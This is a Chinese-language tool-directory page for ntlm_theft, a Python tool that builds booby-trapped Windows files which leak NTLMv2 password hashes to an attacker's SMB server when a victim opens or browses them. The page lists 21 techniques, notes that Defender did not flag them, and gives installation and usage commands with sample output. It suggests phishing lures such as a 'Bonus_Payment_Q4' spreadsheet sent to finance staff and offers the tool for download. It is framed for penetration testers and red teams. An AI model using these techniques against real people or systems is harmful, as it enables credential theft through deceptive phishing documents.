Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/greenwolf/ntlm_theft
钓鱼工具密码攻击信息收集渗透测试红队
GitHubgreenwolf/ntlm_theft

ntlm_theft

一个用于生成多种类型NTLMv2哈希窃取文件的工具,作者为Jacob Wilkin (Greenwolf)

查看仓库
1.5k174175小时57分前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ntlm_theft

一款用于生成多种类型 NTLMv2 哈希窃取文件的工具。

ntlm_theft 是一个开源的 Python3 工具,可生成 21 种不同类型的哈希窃取文档。这些文档可用于钓鱼攻击,前提是目标允许外部网络的 SMB 流量,或者你已经处于内部网络中。

这些文件类型相较于基于宏的文档或漏洞利用文档的优势在于,它们全部基于“预期功能”构建。2020 年 6 月,Windows Defender 防病毒软件未对其中任何一个进行标记,并且在完全修补的 Windows 10 主机上,21 种攻击中有 17 种成功实施。

ntlm_theft 支持以下攻击类型:

  • 浏览包含文件的文件夹
    • .url – 通过 URL 字段
    • .url – 通过 ICONFILE 字段
    • .lnk – 通过 icon_location 字段
    • .scf – 通过 ICONFILE 字段(在最新版 Windows 上无效)
    • autorun.inf – 通过 OPEN 字段(在最新版 Windows 上无效)
    • desktop.ini – 通过 IconResource 字段(在最新版 Windows 上无效)
  • 打开文档
    • .xml – 通过 Microsoft Word 外部样式表
    • .xml – 通过 Microsoft Word includepicture 字段
    • .htm – 通过 Chrome、IE 和 Edge 的 img src(仅在本地打开时有效,托管时无效)
    • .docx – 通过 Microsoft Word includepicture 字段
    • .docx – 通过 Microsoft Word 外部模板
    • .docx – 通过 Microsoft Word frameset webSettings
    • .xlsx – 通过 Microsoft Excel 外部单元格
    • .wax – 通过 Windows Media Player 播放列表(更优,主要打开方式)
    • .asx – 通过 Windows Media Player 播放列表(更优,主要打开方式)
    • .m3u – 通过 Windows Media Player 播放列表(较差,Win10 默认用 Groove 音乐打开)
    • .jnlp – 通过 Java 外部 jar
    • .application – 通过任何浏览器(必须通过浏览器下载,否则无法运行)
  • 打开文档并接受弹窗
    • .pdf – 通过 Adobe Acrobat Reader
  • 在聊天程序中点击链接
    • .txt – 格式化的链接,用于粘贴到 Zoom 聊天中

使用场景(为什么要运行此工具)

ntlm_theft 主要面向渗透测试人员和红队成员,他们可利用该工具对目标公司员工进行内部钓鱼,或批量测试防病毒软件和邮件网关。如果边界防火墙允许出站 SMB 访问,该工具也可用于外部钓鱼。

在渗透测试过程中,我发现该工具可以轻松查看可用的文件类型,而无需像红队演练那样花费时间配置特定攻击。你可以向人力资源部门发送 .rtf 或 .docx 文件,向财务部门发送 .xlsx 电子表格文档。

开始使用

以下说明将介绍 ntlm_theft 的环境要求及使用方法。

前提条件

ntlm_theft 需要 Python3 和 xlsxwriter:

root@kitploit:~
pip3 install xlsxwriter

必要参数

启动工具时需要提供 4 个参数:输入格式、输入文件或文件夹以及基本运行模式:

root@kitploit:~
-g, --generate	: 选择生成所有文件或特定文件类型
-s, --server 	: SMB 哈希捕获服务器的 IP 地址(Responder、impacket ntlmrelayx、Metasploit auxiliary/server/capture/smb 等)
-f, --filename	: 不带扩展名的基本文件名,之后可重命名(例如:test、Board-Meeting2020、Bonus_Payment_Q4)

运行示例

以下是生成所有文件的运行示例:

root@kitploit:~
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

运行示例

以下是仅生成现代文件类型的运行示例:

root@kitploit:~
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.

以下是仅生成 xlsx 文件的运行示例:

root@kitploit:~
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.

作者

  • Jacob Wilkin - 研究与开发

许可证

ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

致谢

  • Ired
  • Securify
  • Pentestlab
  • deepzec
  • rocketscientist911
  • Osanda
  • Violation Industry
  • @kazkansouh - 添加 .lnk 支持
下载工具